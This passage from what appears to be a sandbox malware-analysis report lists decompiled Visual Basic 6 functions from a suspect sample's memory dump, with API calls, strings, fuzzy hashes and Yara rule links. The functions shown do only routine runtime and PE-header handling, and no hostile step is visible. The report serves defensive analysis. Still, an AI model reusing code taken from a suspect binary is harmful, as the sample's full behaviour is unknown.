					__imp____vbaHresultCheckObj(_t26, _t46, 0x40f430, 0x390);
				}
				_t14 = _t46 + 0x70; // 0x0
				_t27 =  *_t14;
				if(_t27 != 0) {
					E0040FB74();
					__imp____vbaSetSystemError(_t27);
					 *((intOrPtr*)(_t46 + 0x70)) = 0;
				}
				 *((intOrPtr*)( *_t46 + 0x8a4))(_t46);
				_t29 = _a4;
				 *((intOrPtr*)( *_t29 + 8))(_t29);
				 *[fs:0x0] = _v24;
				return _v8;
			}

0x00416be2
0x00416be9
0x00416bef
0x00416bf2
0x00416bfb
0x00416bfe
0x00416c04
0x00416c0a
0x00416c18
0x00416c1c
0x00416c25
0x00416c2b
0x00416c2e
0x00416c34
0x00416c37
0x00416c3f
0x00416c41
0x00416c4f
0x00416c4f
0x00416c55
0x00416c55
0x00416c5a
0x00416c5d
0x00416c62
0x00416c68
0x00416c68
0x00416c6e
0x00416c74
0x00416c7a
0x00416c85
0x00416c90

APIs

__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,00401D26), ref: 00416C0A
__vbaHresultCheckObj.MSVBVM60(00000000,004013D0,0040F430,00000390,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00416C4F
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00416C62

Strings

Alignment, xrefs: 00416C20

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckErrorHresultSystem
String ID: Alignment
API String ID: 2264031751-2923404543
Opcode ID: dc9cc831a350e70b12bc6104fe780c11d2e265c18d42919cb1b26b97fa8e92cb
Instruction ID: ed251a81bb9f025d8f6a7ed8ee99042b48a82243ff9eb9e6aea26528592e4486
Opcode Fuzzy Hash: dc9cc831a350e70b12bc6104fe780c11d2e265c18d42919cb1b26b97fa8e92cb
Instruction Fuzzy Hash: 1F216A74A00604EFC710EF69C989A8ABBF8FF58700F10856AF989E7751D774A840CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0041C7C0, Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

#593.MSVBVM60(?), ref: 0041C81D
__vbaFPInt.MSVBVM60 ref: 0041C833

Part of subcall function 0041DE40: __vbaNew2.MSVBVM60(0040B730,?,00000000,?,72A1A274), ref: 0041DE8C
Part of subcall function 0041DE40: __vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,0000001C), ref: 0041DEB0
Part of subcall function 0041DE40: __vbaFreeVar.MSVBVM60 ref: 0041DEB9
Part of subcall function 0041DE40: __vbaNew2.MSVBVM60(0040B730,?), ref: 0041DED2
Part of subcall function 0041DE40: __vbaNew2.MSVBVM60(0040B730,?), ref: 0041DEE6
Part of subcall function 0041DE40: __vbaHresultCheckObj.MSVBVM60(00000000,72A1A237,00411158,00000020), ref: 0041DF09
Part of subcall function 0041DE40: __vbaFreeVar.MSVBVM60 ref: 0041DF12
Part of subcall function 0041DE40: __vbaNew2.MSVBVM60(0040B730,?), ref: 0041DF22
Part of subcall function 0041DE40: __vbaHresultCheckObj.MSVBVM60(00000000,72A1A237,00411158,00000024), ref: 0041DF43
Part of subcall function 0041DE40: __vbaObjSetAddref.MSVBVM60(?,?), ref: 0041DF4E

__vbaFreeVarList.MSVBVM60(00000003,0000000A,00000004,?,?,004016D8,?), ref: 0041C862
__vbaHresultCheckObj.MSVBVM60(00000000,004016A0,00410B74,000006F8), ref: 0041C884

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckHresultNew2$Free$#593AddrefList
String ID:
API String ID: 2661231995-0
Opcode ID: 8a0d7c4be2ad5797e010b10b687947322b5f077470a09713e3098923a522573a
Instruction ID: 7cf3442aed4ff54f4037b68df471e0c1627cf3ecc9c5bfba7c8cb884a8becf0b
Opcode Fuzzy Hash: 8a0d7c4be2ad5797e010b10b687947322b5f077470a09713e3098923a522573a
Instruction Fuzzy Hash: CD21B0B1841208EFCB00EF95DE89ADEBBB9FF44701F20415AF445B3290D7786A41CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00415200, Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E00415200(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr* _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				char _v32;
				char _v36;
				void* _t21;
				void* _t24;
				void* _t27;
				intOrPtr* _t29;
				intOrPtr* _t38;
				intOrPtr* _t39;
				void* _t40;
				void* _t42;
				intOrPtr _t43;

				_t43 = _t42 - 0xc;
				 *[fs:0x0] = _t43;
				_v16 = _t43 - 0x20;
				_v12 = 0x4012c0;
				_v8 = 0;
				_t38 = _a4;
				 *((intOrPtr*)( *_t38 + 4))(_t38, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t40);
				_v28 = 0;
				_v32 = 0;
				 *_a8 = 0;
				_v36 = 0;
				_t21 =  *((intOrPtr*)( *_t38 + 0x3b0))(_t38);
				_t29 = __imp____vbaObjSet;
				_t39 =  *_t29( &_v32, _t21);
				_t24 =  *((intOrPtr*)( *_t39 + 0x210))(_t39,  &_v36);
				asm("fclex");
				if(_t24 < 0) {
					__imp____vbaHresultCheckObj(_t24, _t39, 0x410414, 0x210);
				}
				_v36 = 0;
				_t27 =  *_t29( &_v28, _v36);
				__imp____vbaFreeObj();
				_push(0x4152c3);
				return _t27;
			}

0x00415203
0x00415212
0x0041521f
0x00415222
0x0041522b
0x0041522e
0x00415234
0x0041523b
0x0041523e
0x00415241
0x00415245
0x00415248
0x0041524e
0x0041525b
0x00415264
0x0041526c
0x0041526e
0x0041527c
0x0041527c
0x00415285
0x0041528d
0x00415292
0x00415298
0x00000000

APIs

__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00415259
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,00000210,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041527C
__vbaObjSet.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041528D
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00415292

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult
String ID:
API String ID: 444973724-0
Opcode ID: e3d229ab81c3a6e0dd8030c1dcc339436d853f024d631e1fb596ae0ded67646b
Instruction ID: bd36dc85601c0206c359d4f3cee15db34144bfa75d62af71fb66f3b2760b32f1
Opcode Fuzzy Hash: e3d229ab81c3a6e0dd8030c1dcc339436d853f024d631e1fb596ae0ded67646b
Instruction Fuzzy Hash: A7110A75900218EBCB009F99C989DDEBBFCFF98700F10455AF545E3261C77859418FA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415B80, Relevance: 6.1, APIs: 4, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E00415B80(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr* _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr* _t22;
				void* _t23;
				intOrPtr* _t35;
				intOrPtr* _t36;
				void* _t37;
				void* _t39;
				intOrPtr _t40;

				_t40 = _t39 - 0xc;
				 *[fs:0x0] = _t40;
				_v16 = _t40 - 0x20;
				_v12 = 0x401330;
				_v8 = 0;
				_t35 = _a4;
				 *((intOrPtr*)( *_t35 + 4))(_t35, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t37);
				_v28 = 0;
				_v32 = 0;
				 *_a8 = 0;
				_v36 = 0;
				_t22 =  &_v36;
				__imp____vbaObjSet(_t22,  *((intOrPtr*)( *_t35 + 0x3b0))(_t35));
				_t36 = _t22;
				_t23 =  *((intOrPtr*)( *_t36 + 0x238))(_t36,  &_v32);
				asm("fclex");
				if(_t23 < 0) {
					__imp____vbaHresultCheckObj(_t23, _t36, 0x410414, 0x238);
				}
				_v32 = 0;
				__imp____vbaStrMove();
				__imp____vbaFreeObj();
				_push(0x415c42);
				return _t23;
			}

0x00415b83
0x00415b92
0x00415b9f
0x00415ba2
0x00415bab
0x00415bae
0x00415bb4
0x00415bbb
0x00415bbe
0x00415bc1
0x00415bc5
0x00415bcf
0x00415bd3
0x00415bd9
0x00415be2
0x00415bea
0x00415bec
0x00415bfa
0x00415bfa
0x00415c06
0x00415c09
0x00415c12
0x00415c18
0x00000000

APIs

__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00415BD3
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,00000238,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00415BFA
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00415C09
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00415C12

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresultMove
String ID:
API String ID: 2435256576-0
Opcode ID: 298b69994adf7912561aadb9dbc36f2950abc1954b2e31f3cb4a3b0468f462e4
Instruction ID: 3f06fbb17c0cfd88f78f21d93fa592b16deff16412cf33d1d5788e9d5483ffc5
Opcode Fuzzy Hash: 298b69994adf7912561aadb9dbc36f2950abc1954b2e31f3cb4a3b0468f462e4
Instruction Fuzzy Hash: DF112875900209EBCB009F95C989EEEFBB8FF98700F10816AF542A7260D7786945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E380, Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(0040B730,?,?,00401700,00000000), ref: 0041E3C3
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028,?,00401700,00000000), ref: 0041E3E4
__vbaVarTextTstEq.MSVBVM60(?,?,?,00401700,00000000), ref: 0041E3F5
__vbaFreeVar.MSVBVM60(?,00401700,00000000), ref: 0041E400

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresultNew2Text
String ID:
API String ID: 2952808666-0
Opcode ID: e08154e3b0b4eb461a917fc81dc165a394d150c27bd502896b2216b85a561c8b
Instruction ID: 11546703d3100e9a83b5665738602d7ff57218a73727fba89aa87d467737ff6f
Opcode Fuzzy Hash: e08154e3b0b4eb461a917fc81dc165a394d150c27bd502896b2216b85a561c8b
Instruction Fuzzy Hash: 831170B5941208EBCB10DF55CA49ADEBBF8FF58741F20411AF945B3260D3786E45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00421FA0, Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

__vbaHresultCheckObj.MSVBVM60(00000000,004225E5,00411580,0000001C,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00422005
__vbaCastObjVar.MSVBVM60(?,004113E8,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00422014
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0042201F
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00422028

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CastCheckFreeHresult
String ID:
API String ID: 2379982908-0
Opcode ID: c0bed996e35696c34b6a1cb64145536443b9a75c49ddb121482aef8a4c80a54e
Instruction ID: 78fd0d4038b89ee32b583735ed36bf339507f3d4db6e6e2e62c21046bcdfa495
Opcode Fuzzy Hash: c0bed996e35696c34b6a1cb64145536443b9a75c49ddb121482aef8a4c80a54e
Instruction Fuzzy Hash: 65114F71A00209EFDB00DF95CA89EDEBBB8FF58701F10441AF641A31A0D7B8A941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00422080, Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

__vbaHresultCheckObj.MSVBVM60(00000000,0042277E,00411580,0000002C,?,?,?,?,?,?,?,00401D26), ref: 004220E1
__vbaCastObj.MSVBVM60(?,00411928,?,?,?,?,?,?,?,00401D26), ref: 004220F0
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,00401D26), ref: 004220FB
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,00401D26), ref: 00422104

Memory Dump Source

Source File: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CastCheckFreeHresult
String ID:
API String ID: 2379982908-0
Opcode ID: 8d1d3dc7ed36d14cd2e5767834dfdd98317ea27dced9835cc24fb22943071a93
Instruction ID: 3122528e231ee9733b64bebdc27a34127e3a96e9ede2eb1afaa1314ca064f70e
Opcode Fuzzy Hash: 8d1d3dc7ed36d14cd2e5767834dfdd98317ea27dced9835cc24fb22943071a93
Instruction Fuzzy Hash: 7B114FB0A00205AFCB009FA5CA49EAEFBB8EF54700F10851AF601E3260D678A941CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00421CC0, Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

__vbaCastObj.MSVBVM60(00000000,00411580,?,?,?,?,?,00401D26), ref: 00421D0B
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,00401D26), ref: 00421D16
__vbaObjSetAddref.MSVBVM60(00401A9C,00000000,?,?,?,?,?,00401D26), ref: 00421D21
__vbaFreeObj.MSVBVM60(?,?,?,?,?,00401D26), ref: 00421D2A

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$AddrefCastFree
String ID:
API String ID: 247606873-0
Opcode ID: 8511083c08dd0da7740a4eed0660c5a16a5c2f5f82f0c2abd8aa876212357d87
Instruction ID: 93f7e4e2509867c96e9c850529fd45bb3eededa373c10e89cfb45aaf5c5ae310
Opcode Fuzzy Hash: 8511083c08dd0da7740a4eed0660c5a16a5c2f5f82f0c2abd8aa876212357d87
Instruction Fuzzy Hash: 41017C71900219FBC7009F64DE49AAEBFB8EF44744F10802AF941A72A0C77869418BD8

Uniqueness

Uniqueness Score: -1.00%

Function 00421C10, Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

__vbaNew.MSVBVM60(00411590,?,?,?,?,?,00401D26), ref: 00421C5A
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,00401D26), ref: 00421C65
__vbaObjSetAddref.MSVBVM60(00401A8C,00000000,?,?,?,?,?,00401D26), ref: 00421C70
__vbaFreeObj.MSVBVM60(?,?,?,?,?,00401D26), ref: 00421C79

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$AddrefFree
String ID:
API String ID: 1411118827-0
Opcode ID: bac2df534b84dd0d97f72c6f6a11b7235600f419f63e1a8bc645cf961f502211
Instruction ID: c760e9d14c4b6ee96e6c70bbbfa237425ebefae8802f45d7b4e6313e357449e2
Opcode Fuzzy Hash: bac2df534b84dd0d97f72c6f6a11b7235600f419f63e1a8bc645cf961f502211
Instruction Fuzzy Hash: 8A018F75900619FBC7009F65DE49AAEBFB8FF44740F10802AF942A72A0D77859418BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00415020, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00415020(intOrPtr* _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v36;
				intOrPtr* _t23;
				void* _t24;
				void* _t27;
				intOrPtr* _t28;
				void* _t31;
				void* _t41;
				intOrPtr* _t42;
				void* _t44;
				intOrPtr* _t45;
				intOrPtr _t47;
				intOrPtr _t48;

				 *[fs:0x0] = _t47;
				_t48 = _t47 - 0x1c;
				_v16 = _t48;
				_v12 = 0x401298;
				_v8 = 0;
				_t45 = _a4;
				 *((intOrPtr*)( *_t45 + 4))(_t45, _t41, _t44, _t31,  *[fs:0x0], 0x401d26);
				_t6 = _t45 + 0x10; // 0x0
				_t23 =  *_t6;
				_t24 =  *((intOrPtr*)( *_t23 + 0x94))(_t23, _a8);
				asm("fclex");
				if(_t24 < 0) {
					_t9 = _t45 + 0x10; // 0x0
					__imp____vbaHresultCheckObj(_t24,  *_t9, 0x40f430, 0x94);
				}
				_t42 = _t48 - 0x10;
				 *_t42 = 8;
				 *((intOrPtr*)(_t42 + 4)) = _v36;
				 *(_t42 + 8) = L"Enabled";
				 *((intOrPtr*)(_t42 + 0xc)) = _v28;
				_t27 =  *((intOrPtr*)( *_t45 + 0x390))(_t45);
				asm("fclex");
				if(_t27 < 0) {
					__imp____vbaHresultCheckObj(_t27, _t45, 0x40f430, 0x390);
				}
				_t28 = _a4;
				 *((intOrPtr*)( *_t28 + 8))(_t28);
				 *[fs:0x0] = _v24;
				return _v8;
			}

0x00415032
0x00415039
0x0041503f
0x00415042
0x00415049
0x00415050
0x00415056
0x00415059
0x00415059
0x00415063
0x0041506b
0x0041506d
0x0041506f
0x0041507e
0x0041507e
0x0041508c
0x00415096
0x0041509b
0x0041509e
0x004150a4
0x004150a7
0x004150af
0x004150b1
0x004150bf
0x004150bf
0x004150c5
0x004150cb
0x004150d6
0x004150e1

APIs

__vbaHresultCheckObj.MSVBVM60(00000000,00000000,0040F430,00000094,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041507E
__vbaHresultCheckObj.MSVBVM60(00000000,00401298,0040F430,00000390,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 004150BF

Strings

Enabled, xrefs: 00415090

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: CheckHresult__vba
String ID: Enabled
API String ID: 2812612143-2672067096
Opcode ID: 047bde23a4f64058e650f950df8c6932286bd150b9fa4352300021e1da0f8827
Instruction ID: 63e245c3369f0da19d24a0ee3214163d12db9f1a269c04ff7424ee1be041dba9
Opcode Fuzzy Hash: 047bde23a4f64058e650f950df8c6932286bd150b9fa4352300021e1da0f8827
Instruction Fuzzy Hash: D5217C75A00204EFD710EF58C949B9ABBF8FB59700F108169F549E7790C778A805CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00423F10, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00423F10(void* __ebx, void* __esi, signed int _a4, intOrPtr _a8) {
				intOrPtr _v136;
				void _v248;
				void* _t18;
				void* _t19;
				void* _t24;
				signed int _t34;
				signed int _t35;
				void* _t38;
				void* _t40;
				void* _t41;
				void* _t42;
				void* _t43;
				void* _t45;
				void* _t47;

				_push(__ebx);
				_push(__esi);
				memset( &_v248, 0, 0x3e << 2);
				_t47 = _t45 - 0xf8 + 0xc;
				_push( &_v248);
				_t38 = L00423E30(0, __esi, _a4);
				if(_t38 == 0) {
					L11:
					return 0;
				} else {
					_t34 = _a4;
					if(_t34 < 0 || _t34 >= _v136) {
						goto L11;
					} else {
						_t24 = E004240A0(_a8);
						if(_t34 >= 0x10) {
							__imp____vbaGenerateBoundsError();
						}
						_t18 = E004240A0(_t47 + 0x84 + _t34 * 8);
						_push(8);
						_push(_t18);
						_push(_t24);
						_t19 = E00424000();
						_t40 = _t38 + 4;
						if(_t40 < 0) {
							L12:
							__imp____vbaErrorOverflow();
							return _t19;
						}
						_t41 = _t40 + 0x14;
						if(_t41 < 0) {
							goto L12;
						}
						_t42 = _t41 + 0x60;
						if(_t42 < 0) {
							goto L12;
						}
						_t35 = _t34 * 8;
						if(_t35 < 0) {
							goto L12;
						}
						_t43 = _t42 + _t35;
						if(_t43 < 0) {
							goto L12;
						}
						return _t43;
					}
				}
				goto L14;
			}

0x00423f1d
0x00423f1e
0x00423f24
0x00423f24
0x00423f31
0x00423f3a
0x00423f3e
0x00423faa
0x00423fb5
0x00423f40
0x00423f40
0x00423f49
0x00000000
0x00423f54
0x00423f64
0x00423f66
0x00423f68
0x00423f68
0x00423f76
0x00423f7b
0x00423f7d
0x00423f7e
0x00423f7f
0x00423f84
0x00423f87
0x00423fb8
0x00423fb8
0x00000000
0x00423fb8
0x00423f89
0x00423f8c
0x00000000
0x00000000
0x00423f8e
0x00423f91
0x00000000
0x00000000
0x00423f93
0x00423f96
0x00000000
0x00000000
0x00423f98
0x00423f9b
0x00000000
0x00000000
0x00423fa7
0x00423fa7
0x00423f49
0x00000000

APIs

__vbaGenerateBoundsError.MSVBVM60(?,00000000,?,00000000), ref: 00423F68
__vbaErrorOverflow.MSVBVM60(00000000,00000000,00000008,?,?,00000000,?,00000000), ref: 00423FB8

Strings

PE, xrefs: 00423EAC

Memory Dump Source

Source File: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: Error__vba$BoundsGenerateOverflow
String ID: PE
API String ID: 1424794094-4258593460
Opcode ID: 7e683a7f23016ded9c75a3eae36e4a533e2b89d256d572556637bb8bb1989003
Instruction ID: ee684d460ff2dc50e2bc6bf9941486f5426afe25f019cbd12103b61d517e534d
Opcode Fuzzy Hash: 7e683a7f23016ded9c75a3eae36e4a533e2b89d256d572556637bb8bb1989003
Instruction Fuzzy Hash: 0F112CB3F0026167D6205A24FD44BABE37ADBD4352FC2443FE94893240D53DD94D87A5

Uniqueness

Uniqueness Score: -1.00%

Function 00416F50, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00416F50(intOrPtr* _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v36;
				short _t21;
				void* _t24;
				intOrPtr* _t26;
				void* _t29;
				void* _t38;
				intOrPtr* _t39;
				void* _t41;
				intOrPtr* _t42;
				intOrPtr _t44;
				intOrPtr _t45;

				 *[fs:0x0] = _t44;
				_t45 = _t44 - 0x1c;
				_v16 = _t45;
				_v12 = 0x401400;
				_v8 = 0;
				_t42 = _a4;
				_t21 =  *((intOrPtr*)( *_t42 + 4))(_t42, _t38, _t41, _t29,  *[fs:0x0], 0x401d26);
				__imp____vbaI2I4();
				_t39 = _t45 - 0x10;
				 *((short*)(_t42 + 0x40)) = _t21;
				 *_t39 = 8;
				 *((intOrPtr*)(_t39 + 4)) = _v36;
				 *(_t39 + 8) = L"BorderStyle";
				 *((intOrPtr*)(_t39 + 0xc)) = _v28;
				_t24 =  *((intOrPtr*)( *_t42 + 0x390))(_t42);
				asm("fclex");
				if(_t24 < 0) {
					__imp____vbaHresultCheckObj(_t24, _t42, 0x40f430, 0x390);
				}
				 *((intOrPtr*)( *_t42 + 0x8a4))(_t42);
				_t26 = _a4;
				 *((intOrPtr*)( *_t26 + 8))(_t26);
				 *[fs:0x0] = _v24;
				return _v8;
			}

0x00416f62
0x00416f69
0x00416f6f
0x00416f72
0x00416f79
0x00416f80
0x00416f86
0x00416f8c
0x00416f9a
0x00416f9e
0x00416fa7
0x00416fad
0x00416fb0
0x00416fb6
0x00416fb9
0x00416fc1
0x00416fc3
0x00416fd1
0x00416fd1
0x00416fda
0x00416fe0
0x00416fe6
0x00416ff1
0x00416ffc

APIs

__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,00401D26), ref: 00416F8C
__vbaHresultCheckObj.MSVBVM60(00000000,00401400,0040F430,00000390,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00416FD1

Strings

